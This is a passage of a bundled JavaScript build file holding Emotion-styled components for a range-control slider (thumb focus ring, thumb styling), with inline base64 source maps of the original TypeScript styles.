blx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30772 var thumbFocus = ({
30773 isFocused
30774 }) => {
30775 return isFocused ? /* @__PURE__ */ css("&::before{content:' ';position:absolute;background-color:", COLORS.theme.accent, ";opacity:0.4;border-radius:", config_values_default.radiusRound, ";height:", thumbSize + 8, "px;width:", thumbSize + 8, "px;top:-4px;left:-4px;@media ( forced-colors: active ){background:GrayText;}}" + (false ? "" : ";label:thumbFocus;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQTROTyIsImZpbGUiOiJyYW5nZS1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5pbXBvcnQgdHlwZSB7XG5cdFJhbmdlTWFya1Byb3BzLFxuXHRSYWlsUHJvcHMsXG5cdFRodW1iUHJvcHMsXG5cdFRvb2x0aXBQcm9wcyxcblx0VHJhY2tQcm9wcyxcblx0V3JhcHBlclByb3BzLFxuXHRSYW5nZUNvbnRyb2xQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5jb25zdCByYW5nZUhlaWdodFZhbHVlID0gMzA7XG5jb25zdCByYWlsSGVpZ2h0ID0gNDtcbmNvbnN0IHJhbmdlSGVpZ2h0ID0gKCkgPT5cblx0Y3NzKCB7IGhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSwgbWluSGVpZ2h0OiByYW5nZUhlaWdodFZhbHVlIH0gKTtcbmNvbnN0IHRodW1iU2l6ZSA9IDEyO1xuXG5jb25zdCBkZXByZWNhdGVkSGVpZ2h0ID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+ICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiYgY3NzKCB7IG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5cbnR5cGUgUm9vdFByb3BzID0gUGljazwgUmFuZ2VDb250cm9sUHJvcHMsICdfX25leHQ0MHB4RGVmYXVsdFNpemUnID47XG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZC5kaXY8IFJvb3RQcm9wcyA+YFxuXHQtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdHBhZGRpbmc6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dG91Y2gtYWN0aW9uOiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogNDBweDtcblx0LyogVE9ETzogcmVtb3ZlIGFmdGVyIHJlbW92aW5nIHRoZSBfX25leHQ0MHB4RGVmYXVsdFNpemUgcHJvcCAqL1xuXHQkeyBkZXByZWNhdGVkSGVpZ2h0IH07XG5gO1xuXG5jb25zdCB3cmFwcGVyQ29sb3IgPSAoIHsgY29sb3IgPSBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTogV3JhcHBlclByb3BzICkgPT5cblx0Y3NzKCB7IGNvbG9yIH0gKTtcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQoICdkaXYnLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2xvcicsICdtYXJrcycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCBXcmFwcGVyUHJvcHMgPmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cblx0JHsgd3JhcHBlckNvbG9yIH07XG5cdCR7IHJhbmdlSGVpZ2h0IH07XG5gO1xuXG5leHBvcnQgY29uc3QgQmVmb3JlSWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogNiB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFmdGVySWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA2IH0gKSB9XG5gO1xuXG5jb25zdCByYWlsQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCByYWlsQ29sb3IgfTogUmFpbFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHRcdDogcmFpbENvbG9yIHx8IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFJhaWwgPSBzdHlsZWQuc3BhbmBcblx0bGVmdDogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHJpZ2h0OiAwO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSByYWlsSGVpZ2h0ICkgLyAyIH1weDtcblx0dG9wOiAwO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdCR7IHJhaWxCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmNvbnN0IHRyYWNrQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCB0cmFja0NvbG9yIH06IFRyYWNrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IHRyYWNrQ29sb3IgfHwgJ2N1cnJlbnRDb2xvcicgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5zcGFuYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRoZWlnaHQ6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblxuXHQuaXMtbWFya2VkICYge1xuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjogd2lkdGggZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRyYWNrQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgTWFya3NXcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR3aWR0aDogMTAwJTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdG1hcmdpbi10b3A6IDE3cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgTWFyayA9IHN0eWxlZC5zcGFuYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdGxlZnQ6IDA7XG5cdHRvcDogLTRweDtcblx0aGVpZ2h0OiA0cHg7XG5cdHdpZHRoOiAycHg7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlWCggLTUwJSApO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHR6LWluZGV4OiAxO1xuYDtcblxuY29uc3QgbWFya0xhYmVsRmlsbCA9ICggeyBpc0ZpbGxlZCB9OiBSYW5nZU1hcmtQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGNvbG9yOiBpc0ZpbGxlZCA/IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSA6IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IE1hcmtMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDMwMCBdIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDhweDtcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblxuXHQkeyBydGwoIHsgbGVmdDogMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggLTUwJSApJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNTAlICknIH1cblx0KSB9O1xuXG5cdCR7IG1hcmtMYWJlbEZpbGwgfTtcbmA7XG5cbmNvbnN0IHRodW1iQ29sb3IgPSAoIHsgZGlzYWJsZWQgfTogVGh1bWJQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudGhlbWUuZ3JheVsgNDAwIF1cblx0XHRcdDogQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWQgPyAnR3JheVRleHQnIDogJ0NhbnZhc1RleHQnIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRoZWlnaHQ6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSB0aHVtYlNpemUgKSAvIDIgfXB4O1xuXHRvdXRsaW5lOiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogJHsgdGh1bWJTaXplIH1weDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdHotaW5kZXg6IDM7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IGxlZnQgZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRodW1iQ29sb3IgfTtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IC0xMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNC41cHggKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC00LjVweCApJyB9XG5cdCkgfTtcbmA7XG5cbmNvbnN0IHRodW1iRm9jdXMgPSAoIHsgaXNGb2N1c2VkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBpc0ZvY3VzZWRcblx0XHQ/IGNzc2Bcblx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRjb250ZW50OiAnICc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdFx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRcdFx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgKyA4IH1weDtcblx0XHRcdFx0XHR3aWR0aDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0dG9wOiAtNHB4O1xuXHRcdFx0XHRcdGxlZnQ6IC00cHg7XG5cblx0XHRcdFx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kOiBHcmF5VGV4dDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHQgIGBcblx0XHQ6ICcnO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iID0gc3R5bGVkLnNwYW48IFRodW1iUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdGhlaWdodDogMTAwJTtcblx0b3V0bGluZTogMDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaGFkb3c6ICR7IENPTkZJRy5lbGV2YXRpb25YU21hbGwgfTtcblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHRodW1iRm9jdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJbnB1dFJhbmdlID0gc3R5bGVkLmlucHV0YFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRjdXJzb3I6IHBvaW50ZXI7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGxlZnQ6IDA7XG5cdG1hcmdpbjogMCAtJHsgdGh1bWJTaXplIC8gMiB9cHg7XG5cdG9wYWNpdHk6IDA7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cmlnaHQ6IDA7XG5cdHRvcDogMDtcblx0d2lkdGg6IGNhbGMoIDEwMCUgKyAkeyB0aHVtYlNpemUgfXB4ICk7XG5gO1xuXG5jb25zdCB0b29sdGlwU2hvdyA9ICggeyBzaG93IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRkaXNwbGF5OiAkeyBzaG93ID8gJ2lubGluZS1ibG9jaycgOiAnbm9uZScgfTtcblx0XHRvcGFjaXR5OiAkeyBzaG93ID8gMSA6IDAgfTtcblxuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0b3BhY2l0eSAxMjBtcyBlYXNlLFxuXHRcdFx0XHRkaXNwbGF5IDEyMG1zIGVhc2UgYWxsb3ctZGlzY3JldGU7XG5cdFx0fVxuXG5cdFx0QHN0YXJ0aW5nLXN0eWxlIHtcblx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0fVxuXHRgO1xufTtcblxuY29uc3QgdG9vbHRpcFBsYWNlbWVudCA9ICggeyBwbGFjZW1lbnQgfTogVG9vbHRpcFByb3BzICkgPT4ge1xuXHRjb25zdCBpc0JvdHRvbSA9IHBsYWNlbWVudCA9PT0gJ2JvdHRvbSc7XG5cblx0aWYgKCBpc0JvdHRvbSApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0Ym90dG9tOiAtODAlO1xuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdHRvcDogLTgwJTtcblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sdGlwID0gc3R5bGVkLnNwYW48IFRvb2x0aXBQcm9wcyA+YFxuXHRiYWNrZ3JvdW5kOiByZ2JhKCAwLCAwLCAwLCAwLjggKTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGNvbG9yOiB3aGl0ZTtcblx0Zm9udC1zaXplOiAxMnB4O1xuXHRtaW4td2lkdGg6IDMycHg7XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cblx0JHsgdG9vbHRpcFNob3cgfTtcblxuXHQkeyB0b29sdGlwUGxhY2VtZW50IH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTUwJSknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDUwJSknIH1cblx0KSB9XG5gO1xuXG4vLyBAdG9kbyBSZWZhY3RvciBSYW5nZUNvbnRyb2wgd2l0aCBsYXRlc3QgSFN0YWNrIGNvbmZpZ3VyYXRpb25cbi8vIEBzZWU6IHBhY2thZ2VzL2NvbXBvbmVudHMvc3JjL2gtc3RhY2tcbmV4cG9ydCBjb25zdCBJbnB1dE51bWJlciA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdGZvbnQtc2l6ZTogMTNweDtcblx0bWFyZ2luLXRvcDogMDtcblxuXHRpbnB1dFt0eXBlPSdudW1iZXInXSYge1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogYCR7IHNwYWNlKCA0ICkgfSAhaW1wb3J0YW50YCB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFjdGlvblJpZ2h0V3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLXRvcDogMDtcblxuXHRidXR0b24sXG5cdGJ1dHRvbi5pcy1zbWFsbCB7XG5cdFx0bWFyZ2luLWxlZnQ6IDA7XG5cdFx0JHsgcmFuZ2VIZWlnaHQgfTtcblx0fVxuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA4IH0gKSB9XG5gO1xuIl19 */") : "";
30776 };
30777 var Thumb = /* @__PURE__ */ createStyled("span", false ? {
30778 target: "e1epgpqk4"
30779 } : {
30780 target: "e1epgpqk4",
30781 label: "Thumb"
30782 })("align-items:center;border-radius:", config_values_default.radiusRound, ";height:100%;outline:0;position:absolute;user-select:none;width:100%;box-shadow:", config_values_default.elevationXSmall, ";", thumbColor, ";", thumbFocus, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWdQOEMiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZ